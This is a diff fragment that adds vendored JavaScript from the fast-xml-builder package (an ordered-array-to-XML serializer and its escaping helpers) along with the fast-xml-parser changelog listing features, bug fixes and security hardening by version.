if (pattern instanceof RegExp && pattern.test(attrName)) {
return true
}
}
}
}
return () => false
}

360
node_modules/fast-xml-builder/src/orderedJs2Xml.js generated vendored Normal file
View File

@@ -0,0 +1,360 @@
import { Expression, Matcher } from 'path-expression-matcher';
import { safeComment, safeCdata, escapeAttribute, valToStr } from "./util.js";
import { createValidator } from 'xml-naming';
const EOL = "\n";
/**
* Detect XML version from the first element of the ordered array input.
* The first element must be a ?xml processing instruction with a version attribute.
* Returns '1.0' if not found.
*
* @param {array} jArray
* @param {object} options
*/
function detectXmlVersionFromArray(jArray, options) {
if (!Array.isArray(jArray) || jArray.length === 0) return '1.0';
const first = jArray[0];
const firstKey = propName(first);
if (firstKey === '?xml') {
const attrs = first[':@'];
if (attrs) {
const versionKey = options.attributeNamePrefix + 'version';
if (attrs[versionKey]) return attrs[versionKey];
}
}
return '1.0';
}
/**
* Resolve a tag or attribute name through sanitizeName if configured.
* Validation via xml-naming's qName is performed first; the sanitizeName
* callback is invoked only when the name is invalid. If sanitizeName is
* false (default), no validation occurs and the name is used as-is.
*
* @param {string} name - raw name from the JS object
* @param {boolean} isAttribute - true when resolving an attribute name
* @param {object} options
* @param {Matcher} matcher - current matcher state (readonly from callback perspective)
* @param {function} qNameValidator - function to validate tag names
*/
function resolveTagName(name, isAttribute, options, matcher, qNameValidator) {
if (!options.sanitizeName) return name;
if (qNameValidator(name)) return name;
return options.sanitizeName(name, { isAttribute, matcher: matcher.readOnly() });
}
/**
* @param {array} jArray
* @param {any} options
* @returns
*/
export default function toXml(jArray, options) {
let indentation = "";
if (options.format) {
indentation = EOL;
}
// Pre-compile stopNode expressions for pattern matching
const stopNodeExpressions = [];
if (options.stopNodes && Array.isArray(options.stopNodes)) {
for (let i = 0; i < options.stopNodes.length; i++) {
const node = options.stopNodes[i];
if (typeof node === 'string') {
stopNodeExpressions.push(new Expression(node));
} else if (node instanceof Expression) {
stopNodeExpressions.push(node);
}
}
}
// Detect XML version for use in name validation
const xmlVersion = detectXmlVersionFromArray(jArray, options);
const qNameValidator = createValidator('qName', { xmlVersion });
// Initialize matcher for path tracking
const matcher = new Matcher();
return arrToStr(jArray, options, indentation, matcher, stopNodeExpressions, qNameValidator);
}
function arrToStr(arr, options, indentation, matcher, stopNodeExpressions, qNameValidator) {
let xmlStr = "";
let isPreviousElementTag = false;
if (options.maxNestedTags && matcher.getDepth() > options.maxNestedTags) {
throw new Error("Maximum nested tags exceeded");
}
if (!Array.isArray(arr)) {
// Non-array values (e.g. string tag values) should be treated as text content
if (arr !== undefined && arr !== null) {
let text = valToStr(arr);
text = replaceEntitiesValue(text, options);
return text;
}
return "";
}
for (let i = 0; i < arr.length; i++) {
const tagObj = arr[i];
const rawTagName = propName(tagObj);
if (rawTagName === undefined) continue;
// Special names are exempt from sanitizeName: internal conventions and PI tags
// are not user-supplied XML element names.
const isSpecialName = rawTagName === options.textNodeName
|| rawTagName === options.cdataPropName
|| rawTagName === options.commentPropName
|| rawTagName[0] === '?';
// Resolve tag name (may transform it; may throw for invalid names)
const tagName = isSpecialName
? rawTagName
: resolveTagName(rawTagName, false, options, matcher, qNameValidator);
// Extract attributes from ":@" property
const attrValues = extractAttributeValues(tagObj[":@"], options);
// Push resolved tag to matcher WITH attributes
matcher.push(tagName, attrValues);
// Check if this is a stop node using Expression matching
const isStopNode = checkStopNode(matcher, stopNodeExpressions);
if (tagName === options.textNodeName) {
let tagText = tagObj[rawTagName];
if (!isStopNode) {
tagText = options.tagValueProcessor(tagName, tagText);
tagText = replaceEntitiesValue(tagText, options);
}
tagText = valToStr(tagText);
if (isPreviousElementTag) {
xmlStr += indentation;
}
xmlStr += tagText;
isPreviousElementTag = false;
matcher.pop();
continue;
} else if (tagName === options.cdataPropName) {
if (isPreviousElementTag) {
xmlStr += indentation;
}
const val = tagObj[rawTagName][0][options.textNodeName];
const safeVal = safeCdata(val);
xmlStr += `<![CDATA[${safeVal}]]>`;
isPreviousElementTag = false;
matcher.pop();
continue;
} else if (tagName === options.commentPropName) {
const val = tagObj[rawTagName][0][options.textNodeName];
const safeVal = safeComment(val);
xmlStr += indentation + `<!--${safeVal}-->`;
isPreviousElementTag = true;
matcher.pop();
continue;
} else if (tagName[0] === "?") {
const attStr = attr_to_str(tagObj[":@"], options, isStopNode, matcher, qNameValidator);
const tempInd = tagName === "?xml" ? "" : indentation;
// Text node content on PI/XML declaration tags is intentionally ignored.
// Only attributes are valid on these tags per the XML spec.
xmlStr += tempInd + `<${tagName}${attStr}?>`;
isPreviousElementTag = true;
matcher.pop();
continue;
}
let newIdentation = indentation;
if (newIdentation !== "") {
newIdentation += options.indentBy;
}
// Pass isStopNode to attr_to_str so attributes are also not processed for stopNodes
const attStr = attr_to_str(tagObj[":@"], options, isStopNode, matcher, qNameValidator);
const tagStart = indentation + `<${tagName}${attStr}`;
// If this is a stopNode, get raw content without processing
let tagValue;
if (isStopNode) {
tagValue = getRawContent(tagObj[rawTagName], options);
} else {
tagValue = arrToStr(tagObj[rawTagName], options, newIdentation, matcher, stopNodeExpressions, qNameValidator);
}
if (options.unpairedTags.indexOf(tagName) !== -1) {
if (options.suppressUnpairedNode) xmlStr += tagStart + ">";
else xmlStr += tagStart + "/>";
} else if ((!tagValue || tagValue.length === 0) && options.suppressEmptyNode) {
xmlStr += tagStart + "/>";
} else if (tagValue && tagValue.endsWith(">")) {
xmlStr += tagStart + `>${tagValue}${indentation}</${tagName}>`;
} else {
xmlStr += tagStart + ">";
if (tagValue && indentation !== "" && (tagValue.includes("/>") || tagValue.includes("</"))) {
xmlStr += indentation + options.indentBy + tagValue + indentation;
} else {
xmlStr += tagValue;
}
xmlStr += `</${tagName}>`;
}
isPreviousElementTag = true;
// Pop tag from matcher
matcher.pop();
}
return xmlStr;
}
/**
* Extract attribute values from the ":@" object and return as plain object
* for passing to matcher.push()
*/
function extractAttributeValues(attrMap, options) {
if (!attrMap || options.ignoreAttributes) return null;
const attrValues = {};
let hasAttrs = false;
for (let attr in attrMap) {
if (!Object.prototype.hasOwnProperty.call(attrMap, attr)) continue;
// Remove the attribute prefix to get clean attribute name
const cleanAttrName = attr.startsWith(options.attributeNamePrefix)
? attr.substr(options.attributeNamePrefix.length)
: attr;
attrValues[cleanAttrName] = escapeAttribute(attrMap[attr]);
hasAttrs = true;
}
return hasAttrs ? attrValues : null;
}
/**
* Extract raw content from a stopNode without any processing
* This preserves the content exactly as-is, including special characters
*/
function getRawContent(arr, options) {
if (!Array.isArray(arr)) {
// Non-array values return as-is
if (arr !== undefined && arr !== null) {
return valToStr(arr);
}
return "";
}
let content = "";
for (let i = 0; i < arr.length; i++) {
const item = arr[i];
const tagName = propName(item);
if (tagName === options.textNodeName) {
// Raw text content - NO processing, NO entity replacement
content += valToStr(item[tagName]);
} else if (tagName === options.cdataPropName) {
// CDATA content
content += item[tagName][0][options.textNodeName];
} else if (tagName === options.commentPropName) {
// Comment content
content += item[tagName][0][options.textNodeName];
} else if (tagName && tagName[0] === "?") {
// Processing instruction - skip for stopNodes
continue;
} else if (tagName) {
// Nested tags within stopNode — no sanitizeName, content is raw
const attStr = attr_to_str_raw(item[":@"], options);
const nestedContent = getRawContent(item[tagName], options);
if (!nestedContent || nestedContent.length === 0) {
content += `<${tagName}${attStr}/>`;
} else {
content += `<${tagName}${attStr}>${nestedContent}</${tagName}>`;
}
}
}
return content;
}
/**
* Build attribute string for stopNodes - NO entity replacement
*/
function attr_to_str_raw(attrMap, options) {
let attrStr = "";
if (attrMap && !options.ignoreAttributes) {
for (let attr in attrMap) {
if (!Object.prototype.hasOwnProperty.call(attrMap, attr)) continue;
// For stopNodes, use raw value without processing
let attrVal = attrMap[attr];
if (attrVal === true && options.suppressBooleanAttributes) {
attrStr += ` ${attr.substr(options.attributeNamePrefix.length)}`;
} else {
attrStr += ` ${attr.substr(options.attributeNamePrefix.length)}="${escapeAttribute(attrVal)}"`;
}
}
}
return attrStr;
}
function propName(obj) {
const keys = Object.keys(obj);
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
if (!Object.prototype.hasOwnProperty.call(obj, key)) continue;
if (key !== ":@") return key;
}
}
/**
* Build attribute string, resolving attribute names through sanitizeName when configured.
* Accepts matcher so the callback has path context.
*/
function attr_to_str(attrMap, options, isStopNode, matcher, qNameValidator) {
let attrStr = "";
if (attrMap && !options.ignoreAttributes) {
for (let attr in attrMap) {
if (!Object.prototype.hasOwnProperty.call(attrMap, attr)) continue;
// Strip prefix to get the clean XML attribute name, then optionally sanitize it
const cleanAttrName = attr.substr(options.attributeNamePrefix.length);
const resolvedAttrName = isStopNode
? cleanAttrName // stopNodes are raw — skip sanitizeName for attr names too
: resolveTagName(cleanAttrName, true, options, matcher, qNameValidator);
let attrVal;
if (isStopNode) {
// For stopNodes, use raw value without any processing
attrVal = attrMap[attr];
} else {
// Normal processing: apply attributeValueProcessor and entity replacement
attrVal = options.attributeValueProcessor(attr, attrMap[attr]);
attrVal = replaceEntitiesValue(attrVal, options);
}
if (attrVal === true && options.suppressBooleanAttributes) {
attrStr += ` ${resolvedAttrName}`;
} else {
attrStr += ` ${resolvedAttrName}="${escapeAttribute(attrVal)}"`;
}
}
}
return attrStr;
}
function checkStopNode(matcher, stopNodeExpressions) {
if (!stopNodeExpressions || stopNodeExpressions.length === 0) return false;
for (let i = 0; i < stopNodeExpressions.length; i++) {
if (matcher.matches(stopNodeExpressions[i])) {
return true;
}
}
return false;
}
function replaceEntitiesValue(textValue, options) {
if (textValue && textValue.length > 0 && options.processEntities) {
for (let i = 0; i < options.entities.length; i++) {
const entity = options.entities[i];
textValue = textValue.replace(entity.regex, entity.val);
}
}
return textValue;
}

0
node_modules/fast-xml-builder/src/prettifyJs2Xml.js generated vendored Normal file
View File

23
node_modules/fast-xml-builder/src/util.js generated vendored Normal file
View File

@@ -0,0 +1,23 @@
// String(val)/val.toString() drop the sign of -0 (e.g. String(-0) === '0'), silently
// corrupting a round-tripped negative-zero value. XML has no separate int/float syntax,
// so this is the single place every raw value gets turned into text.
export function valToStr(val) {
return typeof val === 'number' && Object.is(val, -0) ? '-0' : String(val)
}
export function safeComment(val) {
return valToStr(val)
.replace(/--/g, '- -') // -- is illegal anywhere in comment content
.replace(/--/g, '- -') // handle the scenario when 2 consiucative dashes appears
.replace(/-$/, '- '); // trailing - would form -- with the closing -->
}
export function safeCdata(val) {
return valToStr(val).replace(/\]\]>/g, ']]]]><![CDATA[>')
}
export function escapeAttribute(val) {
return valToStr(val).replace(/"/g, '&quot;').replace(/'/g, '&apos;')
}

886
node_modules/fast-xml-parser/CHANGELOG.md generated vendored Normal file
View File

@@ -0,0 +1,886 @@
<small>Note: If you find missing information about particular minor version, that version must have been changed without any functional change in this library.</small>
Note: Due to some last quick changes on v4, detail of v4.5.3 & v4.5.4 are not updated here. v4.5.4x is the last tag of v4 in github repository. I'm extremely sorry for the confusion
**5.12.0 / 2026-11-03**
- perf improvement for stop node: After the first failure in a given stop node, the function stops using readTagExp and switches to a cheap fallback.
- devdep:jasmine 7.0
- deps:
- @nodable/entities v3.1.0
- fast-xml-builder v1.3.1
- is-unsafe v2.0.3
- strnum v2.5.1
- fix cjs typing
- fix: preserve original metadata offsets for CRLF input (#911) (By [sskift](https://github.com/sskift))
**5.11.2 / 2026-09-29**
- fix (#875): decode Uint8Array XML input as UTF-8 (By emme1t)
- fix (#880) :type EntityDecoderOptions.setXmlVersion's version as a number (By Yevhenii Kotyrlo)
**5.11.1 / 2026-08-27**
- fix: validator; Replace regex with a single-pass scanner for attribute tokens, eliminating quadratic behavior on long whitespace runs.
**5.11.0 / 2026-08-16**
- feat: support for endIndex in node metadata (#850) [By [Pavel Dranichnikov](https://github.com/Wain-PC)]
- fix: don't crash on a closing tag with no matching opening tag (#861) [By [Haïm Dimer](https://github.com/hdimer)]
- fix: DOCTYPE to read SYSTEM/PUBLIC
- deps: strnum v2.4.2
**5.10.1 / 2026-07-17**
- fix: multiple DOCTYPE declarations.
- deps: `@nodable/entities` for treeshaking
**5.10.0 / 2026-07-11**
- upgrade:
- xml-naming v0.3.0: cache support
- PEM v1.6.2: sibling bug fix
- is-unsafe v2.0.0: tree shaking
**5.9.3 / 2026-06-19*
- update strnum
**5.9.2 / 2026-06-17*
- dummy release to test changes in github action
**5.9.1 / 2026-06-17*
- dummy release to test release from github action
**5.9.0 / 2026-06-15*
- update strnum to 2.3.0
- you can set hex, binary, enotation, infinity, unicode
- validate unsafe HTML or XML data in doctype entities unsing 'is-unsafe' library.
User can override rules by overriding EntityDecoder.
**5.8.0 / 2026-05-12*
- integrate xml-naming to validate DOCTYPE entity name and notation name (using qname becaue of backward compatibility)
- This will consider xml-version as well. '1.0' is default
- update strnum to 2.3.0
- You can set octal and binary parsing which is bydeault off
- update fast-xml-builder to 1.2.0
- can sanitize tag names if found invalid
- fix format output
**5.7.3 / 2006-05-05**
- fix: alwaysCreateTextNode should create text node when attributes are present for self closing node
- fix stop node expression when ns prefix is removed (found by [iruizsalinas](https://github.com/iruizsalinas))
- update XML Builder to 1.1.7
- mark addEntity deprecated
**5.7.2 / 2026-04-25**
- allow numerical external entity for backward compatibility
- fix #705: attributesGroupName working with preserveOrder
- fix #817: stackoverflow when tag expression is very long
**5.7.1 / 2026-04-20**
- fix typo in CJS typing file
**5.7.0 / 2026-04-17**
- Use `@nodable/entities` v2.1.0
- breaking changes
- single entity scan. You're not allowed to user entity value to form another entity name.
- you cant add numeric external entity
- entity error message when expantion limit is crossed might change
- typings are updated for new options related to process entity
- please follow documentation of `@nodable/entities` for more detail.
- performance
- if processEntities is false, then there should not be impact on performance.
- if processEntities is true, but you dont pass entity decoder separately then performance may degrade by approx 8-10%
- if processEntities is true, and you pass entity decoder separately
- if no entity then performance should be same as before
- if there are entities then performance should be increased from past versions
- ignoreAttributes is not required to be set to set xml version for NCR entity value
- update 'fast-xml-builder' to sanitize malicious CDATA and comment's content
**5.6.0 / 2026-04-15**
- fix: entity replacement for numeric entities
- use @nodable/entities to replace entities
- this may change some error messages related to entities expansion limit or inavlid use
- post check would be exposed in future version
**5.5.12 / 2026-04-13**
- Performance Improvement: update path-expression-matcher
- use proxy pattern than Proxy class
**5.5.11 / 2026-04-08**
- Performance Improvement
- integrate ExpressionSet for stopNodes
**5.5.10 / 2026-04-03**
- increase default entity explansion limit as many projects demand for that
- performance improvement
- reduce calls to toString
- early return when entities are not present
- prepare rawAttrsForMatcher only if user sets `jPath: false`
**5.5.9 / 2026-03-23**
- combine typing files
**4.5.5 / 2026-03-22**
apply fixes from v5 (legacy maintenance branch v4-maintenance)
- support maxEntityCount
- support onDangerousProperty
- support maxNestedTags
- handle prototype pollution
- fix incorrect entity name replacement
- fix incorrect condition for entity expansion
**5.5.8 / 2026-03-20**
- pass read only matcher in callback
**5.5.7 / 2026-03-19**
- fix: entity expansion limits
- update strnum package to 2.2.0
**5.5.6 / 2026-03-16**
- update builder dependency
- fix incorrect regex to replace \. in entity name
- fix check for entitiy expansion for lastEntities and html entities too
**5.5.5 / 2026-03-13**
- sanitize dangerous tag or attribute name
- error on critical property name
- support onDangerousProperty option
**5.5.4 / 2026-03-13**
- declare Matcher & Expression as unknown so user is not forced to install path-expression-matcher
**5.5.3 / 2026-03-11**
- upgrade builder
**5.5.2 / 2026-03-11**
- update dependency to fix typings
**5.5.1 / 2026-03-10**
- fix dependency
**5.5.0 / 2026-03-10**
- support path-expression-matcher
- fix: stopNode should not be parsed
- performance improvement for stopNode checking
**5.4.2 / 2026-03-03**
- support maxEntityCount option
**5.4.1 / 2026-02-25**
- fix (#785) unpairedTag node should not have tag content
**5.4.0 / 2026-02-25**
- migrate to fast-xml-builder
**5.3.9 / 2026-02-25**
- support strictReservedNames
**5.3.8 / 2026-02-25**
- support maxNestedTags
- handle non-array input for XML builder when preserveOrder is true (By [Angelo Coetzee](https://github.com/Angelopvtac))
- save use of js properies
**5.3.7 / 2026-02-20**
- fix typings for CJS (By [Corentin Girard](https://github.com/Drarig29))
**5.3.6 / 2026-02-14**
- Improve security and performance of entity processing
- new options `maxEntitySize`, `maxExpansionDepth`, `maxTotalExpansions`, `maxExpandedLength`, `allowedTags`,`tagFilter`
- fast return when no edtity is present
- improvement replacement logic to reduce number of calls
**5.3.5 / 2026-02-08**
- fix: Escape regex char in entity name
- update strnum to 2.1.2
- add missing exports in CJS typings
**5.3.4 / 2026-01-30**
- fix: handle HTML numeric and hex entities when out of range
**5.3.3 / 2025-12-12**
- fix #775: transformTagName with allowBooleanAttributes adds an unnecessary attribute
**5.3.2 / 2025-11-14**
- fix for import statement for v6
**5.3.1 / 2025-11-03**
- Performance improvement for stopNodes (By [Maciek Lamberski](https://github.com/macieklamberski))
**5.3.0 / 2025-10-03**
- Use `Uint8Array` in place of `Buffer` in Parser
**5.2.5 / 2025-06-08**
- Inform user to use [fxp-cli](https://github.com/NaturalIntelligence/fxp-cli) instead of in-built CLI feature
- Export typings for direct use
**5.2.4 / 2025-06-06**
- fix (#747): fix EMPTY and ANY with ELEMENT in DOCTYPE
**5.2.3 / 2025-05-11**
- fix (#747): support EMPTY and ANY with ELEMENT in DOCTYPE
**5.2.2 / 2025-05-05**
- fix (#746): update strnum to fix parsing issues related to enotations
**5.2.1 / 2025-04-22**
- fix: read DOCTYPE entity value correctly
- read DOCTYPE NOTATION, ELEMENT exp but not using read values
**5.2.0 / 2025-04-03**
- feat: support metadata on nodes (#593) (By [Steven R. Loomis](https://github.com/srl295))
**5.1.0 / 2025-04-02**
- feat: declare package as side-effect free (#738) (By [Thomas Bouffard](https://github.com/tbouffard))
- fix cjs build mode
- fix builder return type to string
-
**5.0.9 / 2025-03-14**
- fix: support numeric entities with values over 0xFFFF (#726) (By [Marc Durdin](https://github.com/mcdurdin))
- fix: update strnum to fix parsing 0 if skiplike option is used
**5.0.8 / 2025-02-27**
- fix parsing 0 if skiplike option is used.
- updating strnum dependency
**5.0.7 / 2025-02-25**
- fix (#724) typings for cjs.
**5.0.6 / 2025-02-20**
- fix cli output (By [Angel Delgado](https://github.com/angeld7))
- remove multiple JSON parsing
**5.0.5 / 2025-02-20**
- fix parsing of string starting with 'e' or 'E' by updating strnum
**5.0.4 / 2025-02-20**
- fix CLI to support all the versions of node js when displaying library version.
- fix CJS import in v5
- by fixing webpack config
**5.0.3 / 2025-02-20**
- Using strnum ESM module
- new fixes in strum may break your experience
**5.0.2 / 2025-02-20**
- fix: include CommonJS resources in the npm package #714 (By [Thomas Bouffard](https://github.com/tbouffard))
- fix: move babel deps to dev deps
**5.0.1 / 2025-02-19**
- fix syntax error for CLI command
**5.0.0 / 2025-02-19**
- ESM support
- no change in the functionality, syntax, APIs, options, or documentation.
**4.5.2 / 2025-02-18**
- Fix null CDATA to comply with undefined behavior (#701) (By [Matthieu BOHEAS](https://github.com/Kelgors))
- Fix(performance): Update check for leaf node in saveTextToParentTag function in OrderedObjParser.js (#707) (By [...](https://github.com/tomingtoming))
- Fix: emit full JSON string from CLI when no output filename specified (#710) (By [Matt Benson](https://github.com/mbenson))
**4.5.1 / 2024-12-15**
- Fix empty tag key name for v5 (#697). no impact on v4
- Fixes entity parsing when used in strict mode (#699)
**4.5.0 / 2024-09-03**
- feat #666: ignoreAttributes support function, and array of string or regex (By [ArtemM](https://github.com/mav-rik))
**4.4.1 / 2024-07-28**
- v5 fix: maximum length limit to currency value
- fix #634: build attributes with oneListGroup and attributesGroupName (#653)(By [Andreas Naziris](https://github.com/a-rasin))
- fix: get oneListGroup to work as expected for array of strings (#662)(By [Andreas Naziris](https://github.com/a-rasin))
**4.4.0 / 2024-05-18**
- fix #654: parse attribute list correctly for self closing stop node.
- fix: validator bug when closing tag is not opened. (#647) (By [Ryosuke Fukatani](https://github.com/RyosukeFukatani))
- fix #581: typings; return type of `tagValueProcessor` & `attributeValueProcessor` (#582) (By [monholm]())
**4.3.6 / 2024-03-16**
- Add support for parsing HTML numeric entities (#645) (By [Jonas Schade ](https://github.com/DerZade))
**4.3.5 / 2024-02-24**
- code for v5 is added for experimental use
**4.3.4 / 2024-01-10**
- fix: Don't escape entities in CDATA sections (#633) (By [wackbyte](https://github.com/wackbyte))
**4.3.3 / 2024-01-10**
- Remove unnecessary regex
**4.3.2 / 2023-10-02**
- fix `jObj.hasOwnProperty` when give input is null (By [Arda TANRIKULU](https://github.com/ardatan))
**4.3.1 / 2023-09-24**
- revert back "Fix typings for builder and parser to make return type generic" to avoid failure of existing projects. Need to decide a common approach.
**4.3.0 / 2023-09-20**
- Fix stopNodes to work with removeNSPrefix (#607) (#608) (By [Craig Andrews]https://github.com/candrews))
- Fix #610 ignore properties set to Object.prototype
- Fix typings for builder and parser to make return type generic (By [Sarah Dayan](https://github.com/sarahdayan))
**4.2.7 / 2023-07-30**
- Fix: builder should set text node correctly when only textnode is present (#589) (By [qianqing](https://github.com/joneqian))
- Fix: Fix for null and undefined attributes when building xml (#585) (#598). A null or undefined value should be ignored. (By [Eugenio Ceschia](https://github.com/cecia234))
**4.2.6 / 2023-07-17**
- Fix: Remove trailing slash from jPath for self-closing tags (#595) (By [Maciej Radzikowski](https://github.com/m-radzikowski))
**4.2.5 / 2023-06-22**
- change code implementation
**4.2.4 / 2023-06-06**
- fix security bug
**4.2.3 / 2023-06-05**
- fix security bug
**4.2.2 / 2023-04-18**
- fix #562: fix unpaired tag when it comes in last of a nested tag. Also throw error when unpaired tag is used as closing tag
**4.2.1 / 2023-04-18**
- fix: jpath after unpaired tags
**4.2.0 / 2023-04-09**
- support `updateTag` parser property
**4.1.4 / 2023-04-08**
- update typings to let user create XMLBuilder instance without options (#556) (By [Patrick](https://github.com/omggga))
- fix: IsArray option isn't parsing tags with 0 as value correctly #490 (#557) (By [Aleksandr Murashkin](https://github.com/p-kuen))
- feature: support `oneListGroup` to group repeated children tags udder single group
**4.1.3 / 2023-02-26**
- fix #546: Support complex entity value
**4.1.2 / 2023-02-12**
- Security Fix
**4.1.1 / 2023-02-03**
- Fix #540: ignoreAttributes breaks unpairedTags
- Refactor XML builder code
**4.1.0 / 2023-02-02**
- Fix '<' or '>' in DTD comment throwing an error. (#533) (By [Adam Baker](https://github.com/Cwazywierdo))
- Set "eNotation" to 'true' as default
**4.0.15 / 2023-01-25**
- make "eNotation" optional
**4.0.14 / 2023-01-22**
- fixed: add missed typing "eNotation" to parse values
**4.0.13 / 2023-01-07**
- preserveorder formatting (By [mdeknowis](https://github.com/mdeknowis))
- support `transformAttributeName` (By [Erik Rothoff Andersson](https://github.com/erkie))
**4.0.12 / 2022-11-19**
- fix typescript
**4.0.11 / 2022-10-05**
- fix #501: parse for entities only once
**4.0.10 / 2022-09-14**
- fix broken links in demo site (By [Yannick Lang](https://github.com/layaxx))
- fix #491: tagValueProcessor type definition (By [Andrea Francesco Speziale](https://github.com/andreafspeziale))
- Add jsdocs for tagValueProcessor
**4.0.9 / 2022-07-10**
- fix #470: stop-tag can have self-closing tag with same name
- fix #472: stopNode can have any special tag inside
- Allow !ATTLIST and !NOTATION with DOCTYPE
- Add transformTagName option to transform tag names when parsing (#469) (By [Erik Rothoff Andersson](https://github.com/erkie))
**4.0.8 / 2022-05-28**
- Fix CDATA parsing returning empty string when value = 0 (#451) (By [ndelanou](https://github.com/ndelanou))
- Fix stopNodes when same tag appears inside node (#456) (By [patrickshipe](https://github.com/patrickshipe))
- fix #468: prettify own properties only
**4.0.7 / 2022-03-18**
- support CDATA even if tag order is not preserved
- support Comments even if tag order is not preserved
- fix #446: XMLbuilder should not indent XML declaration
**4.0.6 / 2022-03-08**
- fix: call tagValueProcessor only once for array items
- fix: missing changed for #437
**4.0.5 / 2022-03-06**
- fix #437: call tagValueProcessor from XML builder
**4.0.4 / 2022-03-03**
- fix #435: should skip unpaired and self-closing nodes when set as stopnodes
**4.0.3 / 2022-02-15**
- fix: ReferenceError when Bundled with Strict (#431) (By [Andreas Heissenberger](https://github.com/aheissenberger))
**4.0.2 / 2022-02-04**
- builder supports `suppressUnpairedNode`
- parser supports `ignoreDeclaration` and `ignorePiTags`
- fix: when comment is parsed as text value if given as `<!--> ...` #423
- builder supports decoding `&`
**4.0.1 / 2022-01-08**
- fix builder for pi tag
- fix: support suppressBooleanAttrs by builder
**4.0.0 / 2022-01-06**
- Generating different combined, parser only, builder only, validator only browser bundles
- Keeping cjs modules as they can be imported in cjs and esm modules both. Otherwise refer `esm` branch.
**4.0.0-beta.8 / 2021-12-13**
- call tagValueProcessor for stop nodes
**4.0.0-beta.7 / 2021-12-09**
- fix Validator bug when an attribute has no value but '=' only
- XML Builder should suppress unpaired tags by default.
- documents update for missing features
- refactoring to use Object.assign
- refactoring to remove repeated code
**4.0.0-beta.6 / 2021-12-05**
- Support PI Tags processing
- Support `suppressBooleanAttributes` by XML Builder for attributes with value `true`.
**4.0.0-beta.5 / 2021-12-04**
- fix: when a tag with name "attributes"
**4.0.0-beta.4 / 2021-12-02**
- Support HTML document parsing
- skip stop nodes parsing when building the XML from JS object
- Support external entites without DOCTYPE
- update dev dependency: strnum v1.0.5 to fix long number issue
**4.0.0-beta.3 / 2021-11-30**
- support global stopNodes expression like "*.stop"
- support self-closing and paired unpaired tags
- fix: CDATA should not be parsed.
- Fix typings for XMLBuilder (#396)(By [Anders Emil Salvesen](https://github.com/andersem))
- supports XML entities, HTML entities, DOCTYPE entities
**⚠️ 4.0.0-beta.2 / 2021-11-19**
- rename `attrMap` to `attibutes` in parser output when `preserveOrder:true`
- supports unpairedTags
**⚠️ 4.0.0-beta.1 / 2021-11-18**
- Parser returns an array now
- to make the structure common
- and to return root level detail
- renamed `cdataTagName` to `cdataPropName`
- Added `commentPropName`
- fix typings
**⚠️ 4.0.0-beta.0 / 2021-11-16**
- Name change of many configuration properties.
- `attrNodeName` to `attributesGroupName`
- `attrValueProcessor` to `attributeValueProcessor`
- `parseNodeValue` to `parseTagValue`
- `ignoreNameSpace` to `removeNSPrefix`
- `numParseOptions` to `numberParseOptions`
- spelling correction for `suppressEmptyNode`
- Name change of cli and browser bundle to **fxparser**
- `isArray` option is added to parse a tag into array
- `preserveOrder` option is added to render XML in such a way that the result js Object maintains the order of properties same as in XML.
- Processing behaviour of `tagValueProcessor` and `attributeValueProcessor` are changes with extra input parameters
- j2xparser is renamed to XMLBuilder.
- You need to build XML parser instance for given options first before parsing XML.
- fix #327, #336: throw error when extra text after XML content
- fix #330: attribute value can have '\n',
- fix #350: attrbiutes can be separated by '\n' from tagname
3.21.1 / 2021-10-31
- Correctly format JSON elements with a text prop but no attribute props ( By [haddadnj](https://github.com/haddadnj) )
3.21.0 / 2021-10-25
- feat: added option `rootNodeName` to set tag name for array input when converting js object to XML.
- feat: added option `alwaysCreateTextNode` to force text node creation (by: *@massimo-ua*)
- ⚠️ feat: Better error location for unclosed tags. (by *@Gei0r*)
- Some error messages would be changed when validating XML. Eg
- `{ InvalidXml: "Invalid '[ \"rootNode\"]' found." }` → `{InvalidTag: "Unclosed tag 'rootNode'."}`
- `{ InvalidTag: "Closing tag 'rootNode' is expected inplace of 'rootnode'." }` → `{ InvalidTag: "Expected closing tag 'rootNode' (opened in line 1) instead of closing tag 'rootnode'."}`
- ⚠️ feat: Column in error response when validating XML
```js
{
"code": "InvalidAttr",
"msg": "Attribute 'abc' is repeated.",
"line": 1,
"col": 22
}
```
3.20.1 / 2021-09-25
- update strnum package
3.20.0 / 2021-09-10
- Use strnum npm package to parse string to number
- breaking change: long number will be parsed to scientific notation.
3.19.0 / 2021-03-14
- License changed to MIT original
- Fix #321 : namespace tag parsing
3.18.0 / 2021-02-05
- Support RegEx and function in arrayMode option
- Fix #317 : validate nested PI tags
3.17.4 / 2020-06-07
- Refactor some code to support IE11
- Fix: `<tag >` space as attribute string
3.17.3 / 2020-05-23
- Fix: tag name separated by \n \t
- Fix: throw error for unclosed tags
3.17.2 / 2020-05-23
- Fixed an issue in processing doctype tag
- Fixed tagName where it should not have whitespace chars
3.17.1 / 2020-05-19
- Fixed an issue in checking opening tag
3.17.0 / 2020-05-18
- parser: fix '<' issue when it comes in aatr value
- parser: refactoring to remove dependency from regex
- validator: fix IE 11 issue for error messages
- updated dev dependencies
- separated benchmark module to sub-module
- breaking change: comments will not be removed from CDATA data
3.16.0 / 2020-01-12
- validaor: fix for ampersand characters (#215)
- refactoring to support unicode chars in tag name
- update typing for validator error
3.15.1 / 2019-12-09
- validaor: fix multiple roots are not allowed
3.15.0 / 2019-11-23
- validaor: improve error messaging
- validator: add line number in case of error
- validator: add more error scenarios to make it more descriptive
3.14.0 / 2019-10-25
- arrayMode for XML to JS obj parsing
3.13.0 / 2019-10-02
- pass tag/attr name to tag/attr value processor
- inbuilt optional validation with XML parser
3.12.21 / 2019-10-02
- Fix validator for unclosed XMLs
- move nimnjs dependency to dev dependency
- update dependencies
3.12.20 / 2019-08-16
- Revert: Fix #167: '>' in attribute value as it is causing high performance degrade.
3.12.19 / 2019-07-28
- Fix js to xml parser should work for date values. (broken: `tagValueProcessor` will receive the original value instead of string always) (breaking change)
3.12.18 / 2019-07-27
- remove configstore dependency
3.12.17 / 2019-07-14
- Fix #167: '>' in attribute value
3.12.16 / 2019-03-23
- Support a new option "stopNodes". (#150)
Accept the list of tags which are not required to be parsed. Instead, all the nested tag and data will be assigned as string.
- Don't show post-install message
3.12.12 / 2019-01-11
- fix : IE parseInt, parseFloat error
3.12.11 / 2018-12-24
- fix #132: "/" should not be parsed as boolean attr in case of self closing tags
3.12.9 / 2018-11-23
- fix #129 : validator should not fail when an atrribute name is 'length'
3.12.8 / 2018-11-22
- fix #128 : use 'attrValueProcessor' to process attribute value in json2xml parser
3.12.6 / 2018-11-10
- Fix #126: check for type
3.12.4 / 2018-09-12
- Fix: include tasks in npm package
3.12.3 / 2018-09-12
- Fix CLI issue raised in last PR
